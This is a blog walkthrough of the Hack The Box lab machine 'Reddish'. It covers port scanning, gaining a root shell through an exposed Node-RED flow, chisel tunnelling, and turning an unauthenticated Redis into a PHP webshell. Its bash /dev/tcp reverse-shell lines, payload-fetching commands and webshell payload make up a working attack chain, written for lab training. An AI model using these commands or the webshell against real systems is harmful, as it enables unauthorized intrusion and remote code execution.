SCHIZOSCHIZOSCHIZO
  • WORK
  • ABOUT
  • BRAIN DUMP
  • TOOLS
  • CONTACT
2026-07-02

HTB — Reddish

lab/htbwalkthroughEnumerationnmapnetwork

Fingerprint ports, services, and versions:

code
nmap -sC -sV -oA nmap/reddish 10.129.172.204		// "Host seems down"
nmap -sC -sV -oA nmap/reddish -Pn 10.129.172.204	// no results

// scan all ports, quickly => no results
nmap -sC -sV -oA nmap/allports-reddish -Pn -p0- -T5 --max-retries 0 -v 10.129.172.204

ping 10.129.172.204			// TTL=63; most likely Linux

traceroute 10.129.172.204	// trace packet route
code
traceroute to 10.129.172.204 (10.129.172.204), 30 hops max, 60 byte packets
 1  10.10.16.1 (10.10.16.1)  89.413 ms  191.526 ms  191.530 ms
 2  10.129.172.204 (10.129.172.204)  191.516 ms  191.502 ms  191.489 ms
code
// scan all ports again, quickly
nmap -sC -sV -oA nmap/allports-reddish -Pn -p0- -T5 --max-retries 0 -v 10.129.172.204
code
PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error
|_http-favicon: Unknown favicon MD5: 818DD6AFD0D0F9433B21774F89665EEA
| http-methods: 
|_  Supported Methods: POST GET HEAD OPTIONS

Port 1880 reconnaissance:

code
firefox 10.129.172.204:1880
code
Cannot GET /
code
CTRL+U	// view source - nothing interesting

Information leak:

code
http://10.129.172.204:1880/favicon.ico

Upload to Google Image Search:

code
https://nodered.org/docs/security	// learned how to enumerate from here

Intercept on Burp Suite:

Since it cannot do a get request, let's change it to a POST request:

Proxy => Right Click => Change Request Method

code
POST / HTTP/1.1
Host: 10.129.172.204:1880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Burp Suite => Forward

code
{"id":"bdeddbc78d93f8cfb254b0c4666751c1","ip":"::ffff:10.10.16.10","path":"/red/{id}"}

Firefox:

code
http://10.129.172.204:1880/red/bdeddbc78d93f8cfb254b0c4666751c1	// disable Intercept
code
exec => (Command: whoami) => Deploy	// no output, REMOVE COMMAND
tcp input	=> Connect to Port 4444; at host <my_ip> => Done
tcp output	=> Reply to TCP => Done
connect std in/out/error to tcp output

Listen for connection:

code
nc -lvnp 4444
code
[object Object]whoami
root

We don't have a full shell:

code
cd ..
pwd
code
/node-red

Upload enumeration script:

code
python3 -m http.server 80		// host script
nc -lvnp 8000 < LinEnum.sh		// serve script
cat < /dev/tcp/10.10.16.10/8000	// No such file

ls -la /bin/sh					// what kind of shell?
code
/bin/sh -> dash	// if we used bash we could probably run the enumeration script
code
ls -la /bin/bash												// it exists
bash -c "cat < /dev/tcp/10.10.16.10/8000 > /dev/shm/LinEnum.sh"	// get it
md5sum LinEnum.sh												// good
bash -c "bash -i /dev/shm/LinEnum.sh"							// the script runs

Let's just get a reverse shell:

code
nc -lvnp 8002										// listen
bash -c "bash -i >& /dev/tcp/10.10.16.12/8002 0>&1"	// connect

Explore:

code
cd /
ls -la			// .dockerenv, looks like we're in a Docker environment
cd /dev/shm

Enumerate using LinEnum: 1

code
bash LinEnum.sh

Search to the top of the script output without having to Shift+PgUp:

code
<Ctrl+Shift>+F	// search for LinEnum and press Enter until you reach the top
code
Linux version 4.4.0-130-generic (buildd@lgw01-amd64-039) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #156-Ubuntu SMP Thu Jun 14 08:53:28 UTC 2018

### NETWORKING  ##########################################
[-] Network and IP info:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
       valid_lft forever preferred_lft forever

[-] ARP history:
172.18.0.1 dev eth0 lladdr 02:42:9a:09:f4:1a REACHABLE

[-] Nameserver(s):
nameserver 127.0.0.11

[-] Default route:
default via 172.18.0.1 dev eth0 

[-] Listening TCP:
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port 
LISTEN     0      128              127.0.0.11:36852                    *:*     
LISTEN     0      128                      :::1880                    :::*     

[-] Listening UDP:
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port 
UNCONN     0      0                127.0.0.11:53921                    *:*
code
ifconfig	// command not found
ip addr		// shows addresses assigned to all network interfaces.

We don't see the IP address from reddish, namely: 10.129.173.95. What we see is:

code
172.18.0.2/16
172.19.0.4/16

Let's scan both subnets:

code
vi ipscan.sh
code
for ip in $(seq 1 5); do
        ping -c 1 127.18.0.$ip > /dev/null && echo "Online: 172.18.0.$ip"
done
code
ping -c 1 91.31.2.2 >> /dev/null && echo Online	// address doesn't exist; no output
ping -c 1 127.0.0.1 >> /dev/null && echo Online	// Online

for ip in $(seq 1 5); do ping -c 1 172.18.0.$ip > /dev/null && echo "Online: 172.18.0.$ip"; done
code
Online: 172.18.0.1	// probably gateway
Online: 172.18.0.2	// probably container
code
11: eth0@if12: ... inet 172.18.0.2
code
for ip in $(seq 1 5); do ping -c 1 172.19.0.$ip > /dev/null && echo "Online: 172.19.0.$ip"; done
code
Online: 172.19.0.1	// probably gateway
Online: 172.19.0.2	// probably container
Online: 172.19.0.3	// probably container	// port 80 open
Online: 172.19.0.4	// our box
code
17: eth1@if18: ... inet 172.19.0.4/16	// "our box is 4"

Let's portscan .2:

code
vi portscan.sh
code
for port in 22 25 80 443 8080 8443; do
        (echo w00t > /dev/tcp/172.19.0.2/$port && echo "Open: $port") 2> /dev/null
done

^ no result; let's try the other IP:

code
for port in 22 25 80 443 8080 8443; do
        (echo w00t > /dev/tcp/172.19.0.3/$port && echo "Open: $port") 2> /dev/null
done
code
Open: 80

If you didn't want to use bash to portscan you could always search for "static build nmap github" 2

code
nc -lvnp 80 < nmap						// kali
cat < /dev/tcp/10.10.16.12/80 > nmap	// target
chmod +x nmap

./nmap	// permission denied
mount
code
shm on /dev/shm ... noexec
code
mv nmap /tmp
./nmap -p 80 172.19.0.3

We need to get to 172.19.0.3 but we don't have SSH. Let's use chisel.

Build chisel:

code
git clone https://github.com/jpillora/chisel.git
cd chisel
go build		// from within git cloned directory
du -hs chisel	// 11M

Build smaller:

code
go build -ldflags="-s -w"
du -hs chisel	// 7.8M chisel
code
-s	// disable symbol table
-w	// disable DWARF generation

Pack it smaller:

code
upx brute chisel
du -hs chisel	// 3.0M chisel
code
brute	// Quickly get the best compression ratio
code
./chisel
code
Usage: chisel [command] [--help]

  Version: 0.0.0-src (go1.17.5)

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel
code
cp chisel ~/HTB/Lab/reddish/www

Get chisel to target:

code
nc -lvnp 80 < chisel								// serve
bash -c "cat < /dev/tcp/10.10.16.12/80 > chisel"	// get
md5sum chisel										// check integrity
chmod 777 chisel

Reverse pivot:

code
chisel server -p 8000 -reverse -v					// 1. Server listens on 8000.	// NOTE THE FINGERPRINT
./chisel client <kali_box>:8000 ...					// 2. Client connects to server.
./chisel client <kali_box>:8000 R:8001:<target>:80	// 3. Client: "Hey, I've opened a hole for you (port 8001)."
./chisel client 10.10.16.12:8000 R:8001:172.19.0.3:80

./chisel client --fingerprint <server_fingerprint> 10.10.16.12:8000 R:127.0.0.1:8001:172.19.0.3:80
code
^ this is the secure way to run chisel. Using the server's fingerprint in the client ensures that only you are connecting to the server. Also, specifying 127.0.0.1 limits the tunnel to only people on the local host, not the entire network.

So on our kali_box we can:

code
curl 127.0.0.1:8001	// run curl on our <kali_box>, out of port 8001, to <target> port 80
code
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)

^ because of the error I'm going to use a pre-compiled version on Github so it is more compatible. 3

Try again with precompiled binary:

code
curl 127.0.0.1:8001
code
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <title>Reddish</title>
        <script src="assets/jquery.js" type="text/javascript"></script>
        <script type="text/javascript">
                                                $(document).ready(function () {
                                                                incrCounter();
                                                    getData();
                                                });

                                                function getData() {
                                                    $.ajax({
                                                        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
                                                        cache: false,
                                                        dataType: "text",
                                                        success: function (data) {
                                                                                        console.log("Number of hits:", data)
                                                        },
                                                        error: function () {
                                                        }
                                                    });
                                                }

                                                function incrCounter() {
                                                    $.ajax({
                                                        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
                                                        cache: false,
                                                        dataType: "text",
                                                        success: function (data) {
                                              console.log("HITS incremented:", data);
                                                        },
                                                        error: function () {
                                                        }
                                                    });
                                                }

                                                /*
                                                        * TODO
                                                        *
                                                        * 1. Share the web folder with the database container (Done)
                                                        * 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
                                                        * ...Still don't know how to complete it...
                                                */
                                                function backupDatabase() {
                                                                $.ajax({
                                                                                url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
                                                                                cache: false,
                                                                                dataType: "text",
                                                                                success: function (data) {
                                                                                        console.log("Database saved:", data);
                                                                                },
                                                                                error: function () {
                                                                                }
                                                                });
                                                }
                </script>
    </head>
    <body><h1>It works!</h1>
    <p>This is the default web page for this server.</p>
    <p>The web server software is running but no content has been added, yet.</p>
    </body>
</html>

One thing I don't like about the way we ran chisel:

code
netstat -alnp | grep 8001
code
tcp6       0      0 :::8001                 :::*                    LISTEN      30315/chisel

It's listening on 0.0·0.0, or in this case :::8001, so anyone on our network or that can get to our kali box can access out tunnels.

Kill chisel:

code
pkill -9 chisel

Make chisel only listen on kali box local host:

code
./chisel client 10.10.16.12:8000 R:127.0.0.1:8001:172.19.0.3:80

netstat -nap | grep 8001
code
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      30537/chisel 

Also look into the --fingerprint

code
--fingerprint

A *strongly recommended* fingerprint string to perform host-key validation against the server's public key. Fingerprint mismatches will close the connection. Fingerprints are generated by hashing the ECDSA public key using SHA256 and encoding the result in base64. Fingerprints must be 44 characters containing a trailing equals (=).
code
./chisel client --fingerprint wrong 10.10.16.12:8000 R:127.0.0.1:8001:172.19.0.3:80
code
ssh: handshake failed: Invalid fingerprint (76:1b:a6:70:b3:c6:02:d8:da:0d:07:30:ee:16:8d:43)
code
./chisel client --fingerprint sHdDbOFDB3olEItv0ctnfZk1NM/YilP/H1JPBknIuus= 10.10.16.12:8000 R:127.0.0.1:8001:172.19.0.3:80
code
client: Connected (Latency 1.766882ms)
code
firefox 127.0.0.1:8001	// It works!
<Ctrl+U>				// view source
code
function getData() {
	$.ajax({
		url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits"
code
firefox http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=get%20hits
code
3
code
console.log("Number of hits:", data)	// we're not getting "Number of hits"; we're getting the data.
code
function incrCounter() {
    $.ajax({
        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits"
code
firefox http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=incr%20hits	// after we visit this
firefox http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=get%20hits		// this gets incremented
code
4
code
/*
* TODO
*
* 	1. Share the web folder with the database container (Done)
* 	2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* 	...Still don't know how to complete it...
*/
code
function backupDatabase() {
	$.ajax({
		url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=..."

Let's try #2 and see if we can access files using LFI:

code
firefox http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?backup=/etc/passwd	// we don't get anything

The note says that the web folder and the database container are shared so let's try to access the database server. It's probably 172.19.0.2. Let's open another reverse shell:

code
nc -lvnp 7001
bash -c "bash -i >& /dev/tcp/10.10.16.12/7001 0>&1"

Modify portscan.sh

code
for port in $(seq 0 65535); do
        (echo w00t > /dev/tcp/172.19.0.2/$port && echo "Open: $port") 2> /dev/null
done
code
<Enter>
<Enter>
code
Open: 6379

Restart our chisel client to open port 6379:

code
./chisel client --fingerprint sw4f8cHIX6F/7wUx6dJ8V36X4MgxLcl4tOwymk+6NgI= 10.10.16.12:8000 R:127.0.0.1:6379:172.19.0.3:6379

nmap -sT -sC -sV -p 6379 localhost
code
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Search for "redis remote command execution". 4

code
nc localhost 6379
code
echo "Hey no AUTH required!"
$21
Hey no AUTH required!

Let's try this on the web server:

Reset chisel client:

code
./chisel client --fingerprint bLI2u0S1mmRNO1SPvqR8H1lxfmz9JAXp+f6ZApPLdK8= 10.10.16.12:8000 R:127.0.0.1:8001:172.19.0.3:80
firefox http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=echo
code
ERR wrong number of arguments for 'echo' command
code
localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=help echo
code
ERR unknown command 'help'
code
http://localhost:8001/8924d0549008565c554f8128cd11fda4/ajax.php?test=echo%20%22Hey%20no%20AUTH%20required%22
code
Hey no AUTH required

It looks like ajax.php is a direct connection to reddish itself and no auth is required. Let's do the commands we know:

code
nc localhost 6379
	flushall
	set PleaseSubscribe "<? system($_REQUEST['ippsec']); ?>"
	config set dbfilename ippsec.php
	config set dir /var/www/html
	save	// we've written a configuration file called ippsec.php to /var/www/html

localhost:8001/ippsec.php
code
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�K��a�used-mem�(��aof-preamble���pwn%  
**Warning**: system(): Cannot execute a blank command in **/var/www/html/ippsec.php** on line **2**  
��I?�?��
code
http://localhost:8001/ippsec.php?ippsec=whoami
code
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime¨��a�used-mem¸? �aof-preamble���PleaseSubscribe"www-data ����`5.�

Let's send this into Burp:

code
GET /ippsec.php?ippsec=whoami HTTP/1.1
Host: localhost:8001
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<Ctrl+R> to send to Repeater. <Ctrl+Shift+R> to switch to Repeater tab. Click Send

code
HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 12:36:24 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.30
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 124

REDIS0008ú	redis-ver4.0.9ú
redis-bitsÀ@úctime±ÖÚaúused-mem¸?

Repeater => Right Click (Change request method)

code
POST /ippsec.php HTTP/1.1
Host: localhost:8001
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

ippsec=ip addr	// can change executed command here

=> Send

code
HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 12:38:21 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.30
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 860

REDIS0008�      redis-ver4.0.9�
�edis-bits�@�ctime±��aused-mem¸?
 aof-preamble���PleaseSubscribe"1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
13: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.3/16 brd 172.20.255.255 scope global eth0
       valid_lft forever preferred_lft forever
15: eth1@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.3/16 brd 172.19.255.255 scope global eth1
       valid_lft forever preferred_lft forever
�p��j��N

We have:

  • >172.19.0.3/16
  • >172.20.0.3/16

The previous container had:

  • >172.18.0.2/16
  • >172.19.0.4/16

What if only 18 can talk to us but 19 cannot.

Change command in Repeater:

code
ippsec=ping -c1 10.10.16.12	// our kali box
code
HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 12:47:31 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.30
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=UTF-8

REDIS0008ú	redis-ver4.0.9ú
redis-bitsÀ@úctimeÂDÙÚaúused-memÂ0î

This box cannot talk to our machine, but it can talk to the web server so we can do another port forward to listen on the web server and direct it back to us.

References

Reddish recall2 blanks

Node-RED on leaks a flow id that reaches a command node, chisel pivots into the internal subnet, and a Redis on with no auth writes a PHP webshell into /var/www/html.

try it before revealing

Footnotes

  1. >

    https://github.com/rebootuser/LinEnum.git ↩

  2. >

    https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap ↩

  3. >

    https://github.com/jpillora/chisel/releases/ ↩

  4. >

    https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html ↩

Read next

  • 2026-07-01 · LabsHTB — Laboratory
  • 2026-09-08 · LabsTryHackMe — Basic Pentesting
  • 2026-07-01 · LabsHTB — MisDIRection
  • 2026-06-30 · LabsHTB — Canvas

← All PostsSCHIZO Brain Dump
SCHIZO

Suhesh Kasti — AppSec & Offensive Security

Navigate

  • ▸ Projects
  • ▸ Brain Dump
  • ▸ Cyber Tools
  • ▸ About
  • ▸ Contact
  • Download CV

Connect

  • ◆ GitHub
  • ◆ LinkedIn
  • ◆ Twitter
  • ◆ YouTube
  • ◆ Telegram
© 2026 SCHIZO

Press / to search